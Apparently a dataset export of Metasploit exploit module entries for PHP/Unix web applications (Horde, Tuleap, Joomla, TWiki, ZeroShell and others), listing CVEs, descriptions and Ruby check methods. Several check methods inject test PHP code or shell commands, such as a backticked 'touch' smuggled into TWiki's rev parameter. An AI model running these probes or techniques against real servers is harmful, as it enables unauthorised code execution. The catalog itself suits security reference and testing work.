deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Horde Framework Unserialize PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/horde_unserialize_exec.rb
Platform: php
Disclosure date: 2013-06-27
References: CVE-2014-1691, URL-http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection, URL-https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149, URL-https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3

Description:
This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
          abused to allow unauthenticated users to execute arbitrary code with the permissions of
          the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
          The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
          class to reach a dangerous call_user_func() call in the Horde_Prefs class.

Check method (fingerprinting):
flag = rand_text_alpha(rand(10) + 20)
    res = send_request_exploit("print #{flag};die;")
    if res and res.body and res.body.to_s =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Tuleap 9.6 Second-Order PHP Object Injection
Type: exploit
Path: modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb
Platform: php
Disclosure date: 2017-10-23
Authors: EgiX
References: URL-http://karmainsecurity.com/KIS-2017-02, URL-https://tuleap.net/plugins/tracker/?aid=10118, CVE-2017-7411

Description:
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
          could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
          webserver. The vulnerability exists because of the User::getRecentElements() method is using the
          unserialize() function with data that can be arbitrarily manipulated by a user through the REST
          API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
          to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.

Check method (fingerprinting):
@is_check = true
    flag = rand_text_alpha(rand(10) + 20)
    res = exec_php("print '#{flag}';")

    if res && res.code == 200 && res.body =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    elsif res && res.body =~ /Exiting with Error/
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Tiki Wiki Unauthenticated File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/tikiwiki_upload_exec.rb
Platform: php
Disclosure date: 2016-07-11
References: CVE-2025-34111, URL-https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability, URL-https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released

Description:
This module exploits a file upload vulnerability in Tiki Wiki <= 15.1
          which could be abused to allow unauthenticated users to execute arbitrary code
          under the context of the web server user.

          The issue comes with one of the 3rd party components. Name of that component is
          ELFinder -version 2.0-. This component comes with default example page which
          demonstrates file operations such as upload, remove, rename, create directory etc.
          Default configuration does not force validations such as file extension, content-type etc.
          Thus, unauthenticated user can upload PHP file.

          The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.

Check method (fingerprinting):
url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )

    if res && res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Joomla Media Manager File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/joomla_media_upload_exec.rb
Platform: php
Disclosure date: 2013-08-01
References: CVE-2013-5576, OSVDB-95933, URL-http://developer.joomla.org/security/news/[PII_REDACTED]1-core-unauthorised-uploads, URL-http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/, URL-https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d[PII_REDACTED]d8, URL-http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/, URL-https://www.rapid7.com/blog/post/2013/08/15/time-to-patch-joomla

Description:
This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
          3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
          which comes by default in Joomla, allowing arbitrary file uploads, and results in
          arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
          and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
          Manager, you will need to supply a valid username and password (Editor role or
          higher) in order to work properly.

Check method (fingerprinting):
res = get_upload_form

    if res and (res.code == 200 or res.code == 302)
      if res.body =~ /You are not authorised to view this resource/
        vprint_status("Joomla Media Manager Found but authentication required")
        return Exploit::CheckCode::Detected('The target service was detected')
      elsif res.body =~ /<form action="(.*)" id="uploadForm"/
        vprint_status("Joomla Media Manager Found and authentication isn't required")
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Generic PHP Code Evaluation
Type: exploit
Path: modules/exploits/unix/webapp/php_eval.rb
Disclosure date: 2008-10-13

Description:
This module can be used to exploits things like:
          <?php eval($_REQUEST['eval']); ?>
          The payload will be delivered in a header.
          It is likely that HTTP evasion options will break this exploit.

Check method (fingerprinting):
method = datastore['FORMDATA'] ? 'POST' : 'GET'
    payload1 = rand_text_alphanumeric(rand(8..15))
    payload2 = rand_text_alphanumeric(rand(8..15))
    stub = "error_reporting(0);echo '#{payload1}'.'#{payload2}';"
    uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(stub))
    print_status("Checking URI via #{method}: #{uri}")
    response = {
      'global' => true,
      'uri' => uri,
      'method' => method,
      'headers' => datastore_headers.merge(
        'Connection' => 'close'
      )
    }
    unless method.casecmp?('get')
      data = datastore['FORMDATA'].sub('!INJECT!', stub)
      response['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
      response['headers']['Content-Length'] = data.length
      response['data'] = data
    end
    response = send_request_raw(response)

    return Exploit::CheckCode::Unknown('Could not determine the target status') unless response
    return Exploit::CheckCode::Vulnerable('The target is vulnerable') if response.body.match(payload1 + payload2)
    return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200

    vprint_warning("Server responded with: HTTP #{response.code}")
    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Coppermine Photo Gallery picEditor.php Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/coppermine_piceditor.rb
Disclosure date: 2008-01-30
References: CVE-2008-0506, OSVDB-41676, EDB-5019, URL-http://forum.coppermine-gallery.net/index.php?topic=50103.0

Description:
This module exploits a vulnerability in the picEditor.php script of
          Coppermine Photo Gallery versions 1.4.14 and earlier. When configured to
          use the ImageMagick library, the 'quality', 'angle', and 'clipval'
          parameters are not properly escaped before being passed to the PHP
          'exec' command.

          In order to reach the vulnerable 'exec' call, the input must pass
          several validation steps.

          The vulnerabilities actually reside in the following functions:

          image_processor.php: rotate_image(...)
          include/imageObjectIM.class.php: imageObject::cropImage(...)
          include/imageObjectIM.class.php: imageObject::rotateImage(...)
          include/imageObjectIM.class.php: imageObject::resizeImage(...)
          include/picmgmt.inc.php: resize_image(...)

          NOTE: Use of the ImageMagick library is a non-default option. However, a
          user can specify its use at installation time.

Check method (fingerprinting):
res = send_request_raw({
      'uri' => normalize_uri(datastore['URI'], '/picEditor.php')
    }, 25)

    if (res and res.body =~ /Coppermine Picture Editor/i)
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress OptimizePress Theme File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_optimizepress_upload.rb
Platform: php
Disclosure date: 2013-11-29
References: CVE-2013-7102

Description:
This module exploits a vulnerability found in the WordPress theme OptimizePress. The
          vulnerability is due to an insecure file upload on the media-upload.php component, allowing
          an attacker to upload arbitrary PHP code. This module has been tested successfully on
          OptimizePress 1.45.

Check method (fingerprinting):
uri = target_uri.path
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: SkyBlueCanvas CMS Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/skybluecanvas_exec.rb
Platform: %w{unix}
Disclosure date: 2014-01-28
References: CVE-2014-1683, OSVDB-102586, BID-65129, EDB-31183

Description:
This module exploits an arbitrary command execution vulnerability
          in SkyBlueCanvas CMS version 1.1 r248-03 and below.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path.to_s, "index.php")

    res = send_request_raw('uri' => uri)

    if res && res.body.include?('SkyBlueCanvas [1.1 r248]')
      vprint_good("SkyBlueCanvas CMS 1.1 r248-xx found")
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: osCommerce 2.2 Arbitrary PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/oscommerce_filemanager.rb
Platform: php
Disclosure date: 2009-08-31
References: CVE-2009-20006, OSVDB-60018, EDB-9556

Description:
osCommerce is a popular open source E-Commerce application.
          The admin console contains a file management utility that
          allows administrators to upload, download, and edit files.
          This could be abused to allow unauthenticated attackers to
          execute arbitrary code with the permissions of the
          webserver.
Metasploit Module: TWiki History Function Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/twiki_history.rb
Platform: %w[unix linux
Disclosure date: 2005-09-14
References: CVE-2005-2877, OSVDB-19403, BID-14834, URL-https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev

Description:
This module exploits a vulnerability in the history component of TWiki.
          By passing a 'rev' parameter containing shell metacharacters,
          an attacker can execute arbitrary OS commands.

          Affected versions:
          - 20040902
          - 20040901
          - 20030201
          - 20011201
          - 20001201

Check method (fingerprinting):
test_file = rand_text_alphanumeric(8 + rand(8))
    test_url = normalize_uri(datastore['URI'], test_file)
    rev_url = normalize_uri(datastore['URI'], datastore['TWIKI_PAGE'])
    rev_url << '?rev='
    rev_url << datastore['TWIKI_REVISION'].to_s
    vprint_status("URI: #{rev_url}")

    # first see if it already exists (it really shouldn't)
    res = send_request(test_url)
    if (not res) or (res.code != 404)
      vprint_warning("The test file exists already! (HTTP #{res&.code})")
      return Exploit::CheckCode::Unknown('Could not determine the target status') # Need to try again with a different file
    end

    # try to create it
    vprint_status("Attempting to create: #{test_url}")
    rev = "`touch${IFS}" + test_file + "`"
    res = send_request(rev_url + Rex::Text.uri_encode(rev))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # try to run it
    # 500 code == successfully made it
    vprint_status("Checking if created: #{test_url}")
    res = send_request(test_url)
    if (not res) or (res.code != 500)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 500)") unless res&.code == 500
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # delete the tmp file
    print_status("Attempting to delete: #{test_url}")
    rev = "`rm${
Metasploit Module: Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE
Type: exploit
Path: modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb
Platform: linux
Disclosure date: 2020-02-17
References: CVE-2020-16152, URL-https://github.com/eriknl/CVE-2020-16152
Targets: Linux, CMD

Description:
This module exploits LFI and log poisoning vulnerabilities
          (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a
          build-242466 and older in order to achieve unauthenticated remote
          code execution as the root user. NetConfig is the Aerohive/Extreme
          Networks HiveOS administrative webinterface. Vulnerable versions
          allow for LFI because they rely on a version of PHP 5 that is
          vulnerable to string truncation attacks. This module leverages this
          issue in conjunction with log poisoning to gain RCE as root.

          Upon successful exploitation, the Aerohive NetConfig application
          may hang for as long as the spawned shell remains open. For the
          Linux target, the MeterpreterTryToFork option (enabled by default)
          will likely prevent this. If the app hangs, closing the session
          should render it responsive again.

          The module provides an automatic cleanup option to clean the log.
          However, this option is disabled by default because any modifications
          to the /tmp/messages log, even via sed, may render the target
          (temporarily) unexploitable. This state can last over an hour.

          This module has been successfully tested against Aerohive NetConfig
          versions 8.2r4 and 10.0r7a.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php5')
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
    end

    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first
    unless version
      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')
    end

    begin
      # Rex::Version treats 10.0r8 as higher than 10.0r8a but 10.0r8 is affected and was probably released before 10.0r8a
      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') || version == '10.0r8'
        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
      else
        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
      end
    rescue StandardError => e
      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
    end
  end
Metasploit Module: Xymon useradm Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb
Platform: %w(unix linux solaris bsd)
Disclosure date: 2016-02-14
References: CVE-2016-2056, URL-http://web.archive.org/web/[PII_REDACTED]4648/https://lists.xymon.com/pipermail/xymon/2016-February/042986.html, URL-https://www.securityfocus.com/archive/1/537522/100/0/threaded, URL-https://sourceforge.net/p/xymon/code/7892/, URL-https://www.debian.org/security/2016/dsa-3495
Targets: Unix CMD, Linux, Solaris, BSD

Description:
This module exploits a command injection vulnerability in Xymon
          versions before 4.3.25 which allows authenticated users
          to execute arbitrary operating system commands as the web
          server user.

          When adding a new user to the system via the web interface with
          `useradm.sh`, the user's username and password are passed to
          `htpasswd` in a call to `system()` without validation.

          This module has been tested successfully on Xymon version 4.3.10
          on Debian 6.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'useradm.sh'),
      'authorization' => basic_auth(user, pass)
    })

    unless res
      vprint_status "#{peer} - Connection failed"
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 401
      vprint_status "#{peer} - Authentication failed"
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 404
      vprint_status "#{peer} - useradm.sh not found"
      return CheckCode::Safe('The target is not vulnerable')
    end

    unless res.body.include?('Xymon')
      vprint_status "#{peer} - Target is not a Xymon server."
      return CheckCode::Safe('The target is not vulnerable')
    end

    version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first

    unless version
      vprint_status "#{peer} - Could not determine Xymon version"
      return CheckCode::Detected('Xymon detected but could not determine version')
    end

    vprint_status "#{peer} - Xymon version #{version}"

    if Rex::Version.new(version) >= Rex::Version.new('4.3.25')
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    CheckCode::Appears("Version #{version} appears to be vulnerable")
  end
Metasploit Module: WordPress Photo Gallery Unrestricted File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb
Platform: php
Disclosure date: 2014-11-11
References: OSVDB-117676, CVE-2014-9312, URL-http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html

Description:
Photo Gallery Plugin for WordPress contains a flaw that allows a
          remote attacker to execute arbitrary PHP code. This flaw exists
          because the photo-gallery\photo-gallery.php script allows access
          to filemanager\UploadHandler.php. The post() method in UploadHandler.php
          does not properly verify or sanitize user-uploaded files.

          This module was tested on version 1.2.5.

Check method (fingerprinting):
check_plugin_version_from_readme('photo-gallery', '1.2.6')
  end
Metasploit Module: ZeroShell Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/zeroshell_exec.rb
Platform: linux
Disclosure date: 2013-09-22
References: CVE-2009-0545

Description:
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
          It will leverage an unauthenticated local file inclusion vulnerability in the
          "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
          This file contains the admin password in cleartext. The password is used to login
          as the admin user. After the authentication process is complete it will use the
          RunScript action to execute the payload with root privileges.

Check method (fingerprinting):
# Check version
    print_status("Trying to detect ZeroShell")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri)
    })

    if res and res.code == 200 and res.body =~ /ZeroShell/
      print_good("ZeroShell detected")
    end

    unless password.nil?
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  # Retrieve admin password using unauthenticated LFI
Metasploit Module: WordPress InfiniteWP Client Authentication Bypass
Type: exploit
Path: modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb
Platform: php
Disclosure date: 2020-01-14
References: CVE-2020-8772, URL-https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/, URL-https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/, URL-http://web.archive.org/web/[PII_REDACTED]1327/https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html

Description:
This module exploits an authentication bypass in the WordPress
          InfiniteWP Client plugin to log in as an administrator and execute
          arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.

          The module will attempt to retrieve the original PLUGIN_FILE contents
          and restore them after payload execution. If VerifyContents is set,
          which is the default setting, the module will check to see if the
          restored contents match the original.

          Note that a valid administrator username is required for this module.

          WordPress >= 4.9 is currently not supported due to a breaking WordPress
          API change. Tested against 4.8.3.

Check method (fingerprinting):
unless wordpress_and_online?
      return CheckCode::Unknown('Is the site online and running WordPress?')
    end

    unless (version = wordpress_version)
      return CheckCode::Unknown('Could not detect WordPress version.')
    end

    if Rex::Version.new(version) >= Rex::Version.new('4.9')
      return CheckCode::Safe("WordPress #{version} is an unsupported target.")
    end

    vprint_good("WordPress #{version} is a supported target")

    check_version_from_custom_file(
      normalize_uri(wordpress_url_plugins, '/iwp-client/readme.txt'),
      /^= ([\d.]+)/,
      '1.9.4.5'
    )
  end

  # https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php